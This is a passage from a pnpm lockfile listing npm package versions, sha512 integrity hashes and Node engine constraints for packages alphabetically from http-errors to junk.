sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==}\n    engines: {node: '>= 0.8'}\n\n  http-errors@2.0.1:\n    resolution: {integrity: sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==}\n    engines: {node: '>= 0.8'}\n\n  http-proxy-agent@5.0.0:\n    resolution: {integrity: sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==}\n    engines: {node: '>= 6'}\n\n  https-proxy-agent@5.0.1:\n    resolution: {integrity: sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==}\n    engines: {node: '>= 6'}\n\n  human-signals@2.1.0:\n    resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==}\n    engines: {node: '>=10.17.0'}\n\n  human-signals@8.0.1:\n    resolution: {integrity: sha512-eKCa6bwnJhvxj14kZk5NCPc6Hb6BdsU9DZcOnmQKSnO1VKrfV0zCvtttPZUsBvjmNDn8rpcJfpwSYnHBjc95MQ==}\n    engines: {node: '>=18.18.0'}\n\n  humanize-ms@1.2.1:\n    resolution: {integrity: sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==}\n\n  humanize-ms@2.0.0:\n    resolution: {integrity: sha512-TFN/YZLNqeL9OLdGHBb4Via7hAh766lHMckhEI0XuKUv4zF4qqxULc55x7x3TfgKPJ+ny1+0UeVtPE0HM2gawA==}\n    engines: {node: '>= 14.0.0'}\n\n  husky@9.1.7:\n    resolution: {integrity: sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA==}\n    engines: {node: '>=18'}\n    hasBin: true\n\n  iconv-lite@0.4.24:\n    resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==}\n    engines: {node: '>=0.10.0'}\n\n  iconv-lite@0.6.3:\n    resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==}\n    engines: {node: '>=0.10.0'}\n\n  iconv-lite@0.7.0:\n    resolution: {integrity: sha512-cf6L2Ds3h57VVmkZe+Pn+5APsT7FpqJtEhhieDCvrE2MK5Qk9MyffgQyuxQTm6BChfeZNtcOLHp9IcWRVcIcBQ==}\n    engines: {node: '>=0.10.0'}\n\n  ieee754@1.2.1:\n    resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==}\n\n  ignore-walk@6.0.5:\n    resolution: {integrity: sha512-VuuG0wCnjhnylG1ABXT3dAuIpTNDs/G8jlpmwXY03fXoXy/8ZK8/T+hMzt8L4WnrLCJgdybqgPagnF/f97cg3A==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  ignore@5.3.2:\n    resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==}\n    engines: {node: '>= 4'}\n\n  ignore@7.0.5:\n    resolution: {integrity: sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==}\n    engines: {node: '>= 4'}\n\n  image-size@0.5.5:\n    resolution: {integrity: sha512-6TDAlDPZxUFCv+fuOkIoXT/V/f3Qbq8e37p+YOiYrUv3v9cc3/6x78VdfPgFVaB9dZYeLUfKgHRebpkm/oP2VQ==}\n    engines: {node: '>=0.10.0'}\n    hasBin: true\n\n  immutable@5.1.4:\n    resolution: {integrity: sha512-p6u1bG3YSnINT5RQmx/yRZBpenIl30kVxkTLDyHLIMk0gict704Q9n+thfDI7lTRm9vXdDYutVzXhzcThxTnXA==}\n\n  import-without-cache@0.2.5:\n    resolution: {integrity: sha512-B6Lc2s6yApwnD2/pMzFh/d5AVjdsDXjgkeJ766FmFuJELIGHNycKRj+l3A39yZPM4CchqNCB4RITEAYB1KUM6A==}\n    engines: {node: '>=20.19.0'}\n\n  imurmurhash@0.1.4:\n    resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==}\n    engines: {node: '>=0.8.19'}\n\n  indent-string@4.0.0:\n    resolution: {integrity: sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==}\n    engines: {node: '>=8'}\n\n  infer-owner@1.0.4:\n    resolution: {integrity: sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==}\n\n  inflation@2.1.0:\n    resolution: {integrity: sha512-t54PPJHG1Pp7VQvxyVCJ9mBbjG3Hqryges9bXoOO6GExCPa+//i/d5GSuFtpx3ALLd7lgIAur6zrIlBQyJuMlQ==}\n    engines: {node: '>= 0.8.0'}\n\n  inflection@3.0.2:\n    resolution: {integrity: sha512-+Bg3+kg+J6JUWn8J6bzFmOWkTQ6L/NHfDRSYU+EVvuKHDxUDHAXgqixHfVlzuBQaPOTac8hn43aPhMNk6rMe3g==}\n    engines: {node: '>=18.0.0'}\n\n  inflight@1.0.6:\n    resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==}\n    deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.\n\n  inherits@2.0.3:\n    resolution: {integrity: sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==}\n\n  inherits@2.0.4:\n    resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==}\n\n  ini@1.3.8:\n    resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==}\n\n  ini@6.0.0:\n    resolution: {integrity: sha512-IBTdIkzZNOpqm7q3dRqJvMaldXjDHWkEDfrwGEQTs5eaQMWV+djAhR+wahyNNMAa+qpbDUhBMVt4ZKNwpPm7xQ==}\n    engines: {node: ^20.17.0 || >=22.9.0}\n\n  internal-slot@1.1.0:\n    resolution: {integrity: sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==}\n    engines: {node: '>= 0.4'}\n\n  ioredis-mock@8.13.1:\n    resolution: {integrity: sha512-Wsi50AU+cMiI32nAgfwpUaJVBtb4iQdVsOHl9M6R3tePCO/8vGsToCVIG82XWAxN4Se55TZoOzVseu+QngFLyw==}\n    engines: {node: '>=12.22'}\n    peerDependencies:\n      '@types/ioredis-mock': ^8\n      ioredis: ^5\n\n  ioredis@5.8.1:\n    resolution: {integrity: sha512-Qho8TgIamqEPdgiMadJwzRMW3TudIg6vpg4YONokGDudy4eqRIJtDbVX72pfLBcWxvbn3qm/40TyGUObdW4tLQ==}\n    engines: {node: '>=12.22.0'}\n\n  ip-address@10.0.1:\n    resolution: {integrity: sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==}\n    engines: {node: '>= 12'}\n\n  ipaddr.js@1.9.1:\n    resolution: {integrity: sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==}\n    engines: {node: '>= 0.10'}\n\n  is-arguments@1.2.0:\n    resolution: {integrity: sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==}\n    engines: {node: '>= 0.4'}\n\n  is-array-buffer@3.0.5:\n    resolution: {integrity: sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==}\n    engines: {node: '>= 0.4'}\n\n  is-bigint@1.1.0:\n    resolution: {integrity: sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==}\n    engines: {node: '>= 0.4'}\n\n  is-binary-path@2.1.0:\n    resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==}\n    engines: {node: '>=8'}\n\n  is-boolean-object@1.2.2:\n    resolution: {integrity: sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==}\n    engines: {node: '>= 0.4'}\n\n  is-callable@1.2.7:\n    resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==}\n    engines: {node: '>= 0.4'}\n\n  is-class-hotfix@0.0.6:\n    resolution: {integrity: sha512-0n+pzCC6ICtVr/WXnN2f03TK/3BfXY7me4cjCAqT8TYXEl0+JBRoqBo94JJHXcyDSLUeWbNX8Fvy5g5RJdAstQ==}\n\n  is-core-module@2.16.1:\n    resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==}\n    engines: {node: '>= 0.4'}\n\n  is-date-object@1.1.0:\n    resolution: {integrity: sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==}\n    engines: {node: '>= 0.4'}\n\n  is-docker@2.2.1:\n    resolution: {integrity: sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==}\n    engines: {node: '>=8'}\n    hasBin: true\n\n  is-extendable@0.1.1:\n    resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==}\n    engines: {node: '>=0.10.0'}\n\n  is-extglob@2.1.1:\n    resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==}\n    engines: {node: '>=0.10.0'}\n\n  is-fullwidth-code-point@2.0.0:\n    resolution: {integrity: sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==}\n    engines: {node: '>=4'}\n\n  is-fullwidth-code-point@3.0.0:\n    resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==}\n    engines: {node: '>=8'}\n\n  is-fullwidth-code-point@5.1.0:\n    resolution: {integrity: sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==}\n    engines: {node: '>=18'}\n\n  is-glob@4.0.3:\n    resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==}\n    engines: {node: '>=0.10.0'}\n\n  is-interactive@1.0.0:\n    resolution: {integrity: sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==}\n    engines: {node: '>=8'}\n\n  is-lambda@1.0.1:\n    resolution: {integrity: sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==}\n\n  is-lower-case@1.1.3:\n    resolution: {integrity: sha512-+5A1e/WJpLLXZEDlgz4G//WYSHyQBD32qa4Jd3Lw06qQlv3fJHnp3YIHjTQSGzHMgzmVKz2ZP3rBxTHkPw/lxA==}\n\n  is-map@2.0.3:\n    resolution: {integrity: sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==}\n    engines: {node: '>= 0.4'}\n\n  is-network-error@1.3.0:\n    resolution: {integrity: sha512-6oIwpsgRfnDiyEDLMay/GqCl3HoAtH5+RUKW29gYkL0QA+ipzpDLA16yQs7/RHCSu+BwgbJaOUqa4A99qNVQVw==}\n    engines: {node: '>=16'}\n\n  is-number-object@1.1.1:\n    resolution: {integrity: sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==}\n    engines: {node: '>= 0.4'}\n\n  is-number@7.0.0:\n    resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==}\n    engines: {node: '>=0.12.0'}\n\n  is-path-inside@3.0.3:\n    resolution: {integrity: sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==}\n    engines: {node: '>=8'}\n\n  is-plain-obj@2.1.0:\n    resolution: {integrity: sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==}\n    engines: {node: '>=8'}\n\n  is-plain-obj@4.1.0:\n    resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==}\n    engines: {node: '>=12'}\n\n  is-promise@4.0.0:\n    resolution: {integrity: sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==}\n\n  is-property@1.0.2:\n    resolution: {integrity: sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g==}\n\n  is-regex@1.2.1:\n    resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==}\n    engines: {node: '>= 0.4'}\n\n  is-set@2.0.3:\n    resolution: {integrity: sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==}\n    engines: {node: '>= 0.4'}\n\n  is-shared-array-buffer@1.0.4:\n    resolution: {integrity: sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==}\n    engines: {node: '>= 0.4'}\n\n  is-stream@2.0.1:\n    resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==}\n    engines: {node: '>=8'}\n\n  is-stream@4.0.1:\n    resolution: {integrity: sha512-Dnz92NInDqYckGEUJv689RbRiTSEHCQ7wOVeALbkOz999YpqT46yMRIGtSNl2iCL1waAZSx40+h59NV/EwzV/A==}\n    engines: {node: '>=18'}\n\n  is-string@1.1.1:\n    resolution: {integrity: sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==}\n    engines: {node: '>= 0.4'}\n\n  is-symbol@1.1.1:\n    resolution: {integrity: sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==}\n    engines: {node: '>= 0.4'}\n\n  is-type-of@1.4.0:\n    resolution: {integrity: sha512-EddYllaovi5ysMLMEN7yzHEKh8A850cZ7pykrY1aNRQGn/CDjRDE9qEWbIdt7xGEVJmjBXzU/fNnC4ABTm8tEQ==}\n\n  is-type-of@2.2.0:\n    resolution: {integrity: sha512-72axShMJMnMy5HSU/jLGNOonZD5rWM0MwJSCYpKCTQCbggQZBJO/CLMMVP5HgS8kPSYFBkTysJexsD6NMvGKDQ==}\n\n  is-typedarray@1.0.0:\n    resolution: {integrity: sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==}\n\n  is-unicode-supported@0.1.0:\n    resolution: {integrity: sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==}\n    engines: {node: '>=10'}\n\n  is-unicode-supported@2.1.0:\n    resolution: {integrity: sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==}\n    engines: {node: '>=18'}\n\n  is-upper-case@1.1.2:\n    resolution: {integrity: sha512-GQYSJMgfeAmVwh9ixyk888l7OIhNAGKtY6QA+IrWlu9MDTCaXmeozOZ2S9Knj7bQwBO/H6J2kb+pbyTUiMNbsw==}\n\n  is-weakmap@2.0.2:\n    resolution: {integrity: sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==}\n    engines: {node: '>= 0.4'}\n\n  is-weakset@2.0.4:\n    resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==}\n    engines: {node: '>= 0.4'}\n\n  is-what@3.14.1:\n    resolution: {integrity: sha512-sNxgpk9793nzSs7bA6JQJGeIuRBQhAaNGG77kzYQgMkrID+lS6SlK07K5LaptscDlSaIgH+GPFzf+d75FVxozA==}\n\n  is-what@4.1.16:\n    resolution: {integrity: sha512-ZhMwEosbFJkA0YhFnNDgTM4ZxDRsS6HqTo7qsZM08fehyRYIYa0yHu5R6mgo1n/8MgaPBXiPimPD77baVFYg+A==}\n    engines: {node: '>=12.13'}\n\n  is-windows@1.0.2:\n    resolution: {integrity: sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==}\n    engines: {node: '>=0.10.0'}\n\n  is-wsl@2.2.0:\n    resolution: {integrity: sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==}\n    engines: {node: '>=8'}\n\n  isarray@0.0.1:\n    resolution: {integrity: sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==}\n\n  isarray@2.0.5:\n    resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==}\n\n  isexe@2.0.0:\n    resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==}\n\n  isstream@0.1.2:\n    resolution: {integrity: sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==}\n\n  istanbul-lib-coverage@3.2.2:\n    resolution: {integrity: sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==}\n    engines: {node: '>=8'}\n\n  istanbul-lib-report@3.0.1:\n    resolution: {integrity: sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==}\n    engines: {node: '>=10'}\n\n  istanbul-lib-source-maps@5.0.6:\n    resolution: {integrity: sha512-yg2d+Em4KizZC5niWhQaIomgf5WlL4vOOjZ5xGCmF8SnPE/mDWWXgvRExdcpCgh9lLRRa1/fSYp2ymmbJ1pI+A==}\n    engines: {node: '>=10'}\n\n  istanbul-reports@3.2.0:\n    resolution: {integrity: sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==}\n    engines: {node: '>=8'}\n\n  jackspeak@3.4.3:\n    resolution: {integrity: sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==}\n\n  jackspeak@4.1.1:\n    resolution: {integrity: sha512-zptv57P3GpL+O0I7VdMJNBZCu+BPHVQUk55Ft8/QCJjTVxrnJHuVuX/0Bl2A6/+2oyR/ZMEuFKwmzqqZ/U5nPQ==}\n    engines: {node: 20 || >=22}\n\n  jake@10.9.4:\n    resolution: {integrity: sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==}\n    engines: {node: '>=10'}\n    hasBin: true\n\n  jest-changed-files@30.2.0:\n    resolution: {integrity: sha512-L8lR1ChrRnSdfeOvTrwZMlnWV8G/LLjQ0nG9MBclwWZidA2N5FviRki0Bvh20WRMOX31/JYvzdqTJrk5oBdydQ==}\n    engines: {node: ^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0}\n\n  jest-regex-util@30.0.1:\n    resolution: {integrity: sha512-jHEQgBXAgc+Gh4g0p3bCevgRCVRkB4VB70zhoAE48gxeSr1hfUOsM/C2WoJgVL7Eyg//hudYENbm3Ne+/dRVVA==}\n    engines: {node: ^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0}\n\n  jest-util@30.2.0:\n    resolution: {integrity: sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA==}\n    engines: {node: ^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0}\n\n  jiti@2.6.1:\n    resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==}\n    hasBin: true\n\n  jose@6.1.3:\n    resolution: {integrity: sha512-0TpaTfihd4QMNwrz/ob2Bp7X04yuxJkjRGi4aKmOqwhov54i6u79oCv7T+C7lo70MKH6BesI3vscD1yb/yzKXQ==}\n\n  js-beautify@1.15.4:\n    resolution: {integrity: sha512-9/KXeZUKKJwqCXUdBxFJ3vPh467OCckSBmYDwSK/EtV090K+iMJ7zx2S3HLVDIWFQdqMIsZWbnaGiba18aWhaA==}\n    engines: {node: '>=14'}\n    hasBin: true\n\n  js-cookie@3.0.5:\n    resolution: {integrity: sha512-cEiJEAEoIbWfCZYKWhVwFuvPX1gETRYPw6LlaTKoxD3s2AkXzkCjnp6h0V77ozyqj0jakteJ4YqDJT830+lVGw==}\n    engines: {node: '>=14'}\n\n  js-tiktoken@1.0.21:\n    resolution: {integrity: sha512-biOj/6M5qdgx5TKjDnFT1ymSpM5tbd3ylwDtrQvFQSu0Z7bBYko2dF+W/aUkXUPuk6IVpRxk/3Q2sHOzGlS36g==}\n\n  js-tokens@9.0.1:\n    resolution: {integrity: sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==}\n\n  js-yaml@3.14.2:\n    resolution: {integrity: sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==}\n    hasBin: true\n\n  js-yaml@4.1.1:\n    resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==}\n    hasBin: true\n\n  jsesc@3.1.0:\n    resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==}\n    engines: {node: '>=6'}\n    hasBin: true\n\n  json-parse-even-better-errors@3.0.2:\n    resolution: {integrity: sha512-fi0NG4bPjCHunUJffmLd0gxssIgkNmArMvis4iNah6Owg1MCJjWhEcDLmsK6iGkJq3tHwbDkTlce70/tmXN4cQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  json-schema-traverse@1.0.0:\n    resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==}\n\n  json-schema-typed@8.0.2:\n    resolution: {integrity: sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==}\n\n  json-stringify-nice@1.1.4:\n    resolution: {integrity: sha512-5Z5RFW63yxReJ7vANgW6eZFGWaQvnPE3WNmZoOJrSkGju2etKA2L5rrOa1sm877TVTFt57A80BH1bArcmlLfPw==}\n\n  json-stringify-safe@5.0.1:\n    resolution: {integrity: sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==}\n\n  json5@2.2.3:\n    resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==}\n    engines: {node: '>=6'}\n    hasBin: true\n\n  jsonfile@4.0.0:\n    resolution: {integrity: sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==}\n\n  jsonp-body@2.0.0:\n    resolution: {integrity: sha512-9VZNeFvIO6gjtYiob3KW3HzxMgq8UEO0xUaUaQ1e8eAeOVlCAs49CtrdMXLma8y3GC/lsyfnzZDTrBWkdGxi2g==}\n    engines: {node: '>= 18.19.0'}\n\n  jsonparse@1.3.1:\n    resolution: {integrity: sha512-POQXvpdL69+CluYsillJ7SUhKvytYjW9vG/GKpnf+xP8UWgYEM/RaMzHHofbALDiKbbP1W8UEYmgGl39WkPZsg==}\n    engines: {'0': node >= 0.2.0}\n\n  junk@4.0.1:\n    resolution: {integrity: sha512-Qush0uP+G8ZScpGMZvHUiRfI0YBWuB3gVBYlI0v0vvOJt5FLicco+IkP0a50LqTTQhmts/m6tP5SWE+USyIvcQ==}\n    engines: {node: '>=12.20'}\n\n  